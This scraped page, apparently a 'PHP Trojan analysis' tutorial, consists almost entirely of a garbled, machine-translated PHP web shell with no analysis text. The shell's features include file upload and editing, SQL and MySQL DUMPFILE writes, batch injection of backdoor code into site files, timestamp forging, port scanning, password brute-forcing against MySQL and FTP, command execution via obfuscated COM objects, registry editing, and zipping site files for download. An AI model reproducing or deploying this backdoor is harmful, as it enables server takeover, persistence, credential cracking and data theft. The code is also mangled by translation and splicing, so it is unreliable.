PHP トロイの木馬解析 (暗号解読)_PHP チュートリアル

< b>URL コンテンツを取得

プログラム パス: '.$pathname.'
現在のディレクトリ('.$dir_writeable.','.substr(base_convert( @fileperms($nowpath),10 ,8),-4).'): '.$nowpath.'
ジャンプディレクトリ: '.$tb->makeinput('dir',''.$nowpath.'','',' text','80').' '.$tb->makeinput('','OK','','submit').' 〖絶対パスと相対パスをサポートします

$tb ->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content '=>'ファイルを現在のディレクトリ: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile',' OK','','submit ').$tb->makeinput('uploaddir',$dir,'','hidden')));

$tb->headerform(array('action'= >'?action=editfile&dir=) '.urlencode($dir),'content'=>'現在のディレクトリに新しいファイルを作成します: '.$tb->makeinput('editfile').' '.$tb-> ;makeinput('createfile) ','OK','','submit')));

$tb->headerform(array('content'=>'現在のディレクトリに新しいディレクトリを作成します: '.$tb- > makeinput('newdirectory').' '.$tb->makeinput('createdirectory','','submit'));

n";
// ファイルを削除
if (!empty($delfile)) {
if (file_exists($delfile ;
}
}

//ディレクトリを削除します
elseif (!empty($deldir)) {
$deldirs="$dir/$deldir";
if (!file_exists("$deldir")) {
echo "$deldir ディレクトリはありませんより長い存在!";
} else {
echo (deltree($deldirs)) ? "ディレクトリの削除に成功しました!" : "ディレクトリの削除に失敗しました!";
}
}

// ディレクトリを作成します
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
if (!empty($newdirectory)) {
$mkdirs="$dir/$newdirectory";
if (file_exists("$mkdirs")) {
エコー「既に存在します！」 ="mysqlup"){
$filename = $_FILES ['upfile']['tmp_name'];
if(!$filename) {
echo"アップロードするファイルが選択されていません。";
}else{
$shell = file_get_contents($filename);
$mysql = bin2hex($shell);
if(!$upname) $upname = $_FILES['upfile']['name'];
$shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';"; user,$password);
if(!$link){
echo "ログインに失敗しました".mysql_error();
$result = mysql_query($shell, $link){
Echo "正常に実行されました。ファイルは ".$ Host. " にアップロードされました。$ upname." { elseif ($_POST == 'doeditfile') {
if (!empty($_POST['editfilename'])) {
if(!file_exists($editfilename)) unset($retime)
if($time= =$now) $ time = @filemtime($editfilename);
$time2 = @date("Y-m-d H:i:s",$time)
;?";
$filecontent = gzdeflate ($filecontent);
$filecontent = Base64_encode($filecontent);
$filecontent = "";
)? "ファイルの書き込みに失敗しました!";; @fclose ($ fp);
if ($ retime == "yes") {
echo "Fish Fish 自動操作:";
ECHOO $ msg =@Touch ($ FILENAME, $ Time)? "ファイルの変更に失敗しました!"; name!";
}
}
//ファイルダウンロード
elseif ($_POST['do'] == 'downloads') {
$contents = @file_get_contents($_POST['durl']);
if( ! $contents){
echo"ダウンロードするデータを読み取れません";
}
elseif(file_exists($path)){
echo"申し訳ありませんが、ファイル ".$path." は既に存在します。保存ファイルを変更してください。名前。";
}else{
$fp = @fopen($path,"w");
echo $msg=@fwrite($fp,$contents) ? "ファイルのダウンロードに成功しました!" : "書き込み中にファイルのダウンロードに失敗しました. !";
@fclose($fp);
}
}
elseif($_POST['action']=="mix"){
if(!file_exists($_POST['mixto'])){
$ tmp = Base64_decode($mixdll);
$tmp = gzinflate($tmp)
$fp = fopen($_POST['mixto'],"w");
echo $msg=@fwrite($fp,$); tmp ) ? "解凍は成功しました!" : "このディレクトリは書き込み可能ではありませんか? !";
fclose($fp);
}else{
echo「そうですよね？".$_POST['mixto']."すでに存在します~";
}
}
// ファイルのプロパティを編集
elseif ($_POST['do'] == 'editfileperm') {
if (!empty { ? "属性の変更に成功しました!" : "変更に失敗しました!";
echo " ファイル ".$file." 変更された属性は次のとおりです: ".substr(base_convert(@fileperms($dir."/".$file), 10, 8), -4);
} else {
echo "設定したい属性を入力してください!";
}}

// ファイルの名前を変更しました ($ _post ['do'] == 'rename ') {
if (!empty($_POST['newname'])) {
$newname=$_POST['dir']."/".$_POST['newname'];
if (@file_exists($ newname)) {
echo "".$_POST['newname']." すでに存在します。新しい名前を入力してください!" ? ".$_POST['newname'] に名前が変更されました。 ' ]。 "！"ファイル名の変更！ "; ) {
if(!empty($oldkey)){
echo" 検索キーワード: [".$oldkey."]、検索結果は以下に表示されます: "; $type2 == "getpath"){
echo" マウスを結果ファイルの上に移動すると、結果ファイルの一部が表示されます。 ."; hr width="775" noshade>";
find($path);
}else{
echo"Xiami を確認したいのですが、何か欲しいものはありますか?";
}
}
elseif ($_GET['action']=='plgmok') {
dirtree($_POST['dir'],$_POST[' mm'])
}
elseif ($_GET['action'] == "plgm") {
$action = '?action=plgmok';
$gm = "";
$tb->tableheader();
$tb->formheader($action,'バッチマウント' ; ''.$_SERVER["DOCUMENT_ROOT"].'','', 'text','60').'
コードをハングするには:'.$tb->maketextarea('mm',$gm ,'50','5').''.$tb- >makehidden('do','馬に乗ってバッチ処理').'
'.$tb->makeinput('submit',' ぶら下がり馬を開始',','submit'),'center' ,'1','35');
echo "";
$tb->tablefooter();
}// 時間のクローンを作成します
elseif ($_POST['do' ] == 'domodtime') {
if (!@file_exists($_POST['curfile'])) {
echo "変更するファイルが存在しません !"
} else {
if (!@file_exists( $ _POST ['TARFILE']）{post ['tarfile']）; )." 変更時刻が ".date( "Y-m-d H:i:s",$time) に変更されました。" !" : "ファイルの変更時刻を変更できませんでした!"; == 'modmytime' ) {
if (!@file_exists($_POST['curfile'])) {
echo "変更するファイルが存在しません!"
}else {
$year=$_POST['year'];
$month=$_POST['month'];
$data=$_POST['data'];        
$hour=$_POST['hour'];
$ minutes=$_POST['分'];
$秒=$_POST['秒'];
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($ minutes) A​​ND !empty($second)) {
$time= strtotime("$data $month $year $hour:$分:$秒");
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." の変更時間は成功に変更されました ".date("Y-m-d H:i:s",$time)." !" : "文書の修正時間中修正失効!";
}
}
}
elseif($do =='port'){
$tmp =explode(",",$port);
$count = count($tmp);
for($i=$first;$i $fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
if($fp) echo"発行现".$host."主机打开了端口".$tmp[$i]."
"; */
elseif ($do == 'crack') {//反正注册は全局变量了。
if(@file_exists($passfile)){
$tmp = file($passfile);
$count = count($tmp);
if(empty($onetime)){
$onetime = $count;
$turn="1";
}else{
$nowturn = $turn+1;
$now = $turn*$onetime;
$tt = intval(($count/$onetime)+1);
}
if($turn>$tt or $onetime>$count){
echo"超过字典容量了耶~要是破解最終后程的，很抱歉失。";
}else{
$first = $onetime*($turn-1);
for($i=$first;$i<$now;$i++){
{ if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]));
else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp [$i]));
if($sa)
{
$t = "获取".$user."の秘密コードは".$tmp[$i].""; }
}
if(! $t){
echo "字典总共".$count."个， 「.$first.」から「.$now.」、「.$admin[jumpsecond].」秒後にこれを実行します「.$onetime.」の秘密コードの検索。 >>>
今回の「.$type.」の破壊は「.$tt.」の次に完全に解除され、次は「.$turn.」になります。 /span>";
}
else {
echo"$t";
}
}
}else{
echo"字典文件不存在、请確定。
= count($tmp);
1];

}
for($i=$first;$i<$count;$i++){
if(!eregi("-",$port){
$fp = @fsockopen($host, $ TMP [$ i], $ ERRNO, $ ERRSTR, 1);
IF ($ FP) Echo ". $ Host." ホストがポート ". $ tmp [$ i] を開きました]。 . elect_db($dbname)) {
echo "データベース接続が成功しました!"; mysql_close(); OST['do'] == 'クエリ') {
@mys ql_connect($servername,$dbusername,$dbpassword) または die("データベース接続に失敗しました")
@mysql_select_db($dbname);または die("データベースの選択に失敗しました");
$result = @mysql_query( $_POST['sql_query']);
echo ($result) : "エラー: ".mysql_error();
mysql_close();
}

// バックアップ操作
elseif ($ _POST['do'] == 'backupmysql') {
if (empty($_POST['table']) OR empty($_POST[' backuptype'])) {
バックアップするデータ テーブルとバックアップ方法を選択してください!";
} else {
if ($_POST['backuptype'] == 'server') {
@mysql_connect($servername, $ dbusername、$ dbpassword）またはdie（ "データベース接続が失敗しました"）; .mysql_fetch_array($result)) {
if (isset {
fclose（$ filehandle）; "; ($i==$f+$d) echo "$ dl[0] が ".$path" に解凍されました。成功しました
($f ファイル$d ディレクトリ)"
elseif($f==0) echo " $ dl [0] "。$ path。" failed ";
path。= new zip; ];$i++)
[$i]; $filesize=@filesize($dir."/".$zipfilearray[$i]); $zipfiles []=Array($filename,@fread($fp,$ファイルサイズ)));
else
{
$filename=$dl[$k];
$filesize=@filesize($zipfile);
$fp=@fopen($zipfile,rb);
$zipfiles[]=Array($filename,@fread($fp,$filesize));
@fclose($fp);
}
}
$zip->Add($zipfiles,1);
$code = $zip->get_file();
$ck = "_QQ44997_".date("Y-m-d",time())."";
if(empty($localfile)){
header("Content-type: application/octet-stream");
header("Accept-Ranges: バイト");
header("Accept-Length: ".strlen($code));
header("Content-Disposition:attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");
echo $code;
終了します。
}else{
$fp = @fopen("".$dir."/".$localfile."","w");
echo $msg=@fwrite($fp,$code) ? "压缩保存".$dir."/".$localfile."本地成功！!" : "ディレクトリ".$dir."書き込み権限がありません!";
@fclose($fp); }
// Shell.Application はプログラム
elseif(($_POST['do'] == 'programrun) を実行します') AND !empty($_POST['program'])) {
$shell= &new COM('Sh' .'el'.'l.Appl'.'ica'.'tion');
$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
echo ($a=='0') : "プログラムは正常に実行されました!" to run!";
}
// PHP 設定パラメータのステータスを表示
elseif(($_POST['do'] == 'viewphpvar ') AND !empty($_POST['phpvarname'])) {
echo "構成パラメータ".$_POST['phpvarname']." 検出結果: ".getphpcfg($_POST['phpvarname'])."" ;
}
// レジストリを読み取ります
elseif(($regread) AND ! empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh '.'ell')
var_dump(@$shell->RegRead($) _POST['readregname']));
}

// レジストリに書き込みます
elseif(($regwrite) AND !empty($ _POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
$shell= &new COM('W'.'Scr'.'ipt .S'.'hell');
$a = @$shell-> RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
echo ($ a=='0') "レジストリ キー値の書き込みに成功しました!" ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST ['regtype']." 失敗しました!";
}
// レジストリを削除します
elseif( ($regdelete) AND !empty($_POST['delregname'])) {
$shell= &new COM('WS' .'cri'.'pt.S'.'he'.'ll'); a = @$shell->RegDelete($_POST['delregname']);
echo ($a=='0 ') : "「.$_POST['delregname'」を削除しました]." 失敗しました!";
}
else {
echo "$notice";
echo "プログラムa href="" href=""?dir=C:/Documents%20and%20Settings/All%20Users/Application%20Data/Symantec/pcAnywhere href="" href=""?dir=C:/Documents%20and%20Settings/All%20Users/"「メニュー/プログラム」を開始>プログラムを開始 AllUsers Serv-U | ";
for ($i=66; $i<=90;$i++){$drive= chr($i).':'; if (is_dir($drive."/")){$vol=shelL("vol $drive");if (empty($vol))$vol=$drive;echo " $drive\}

}
echo "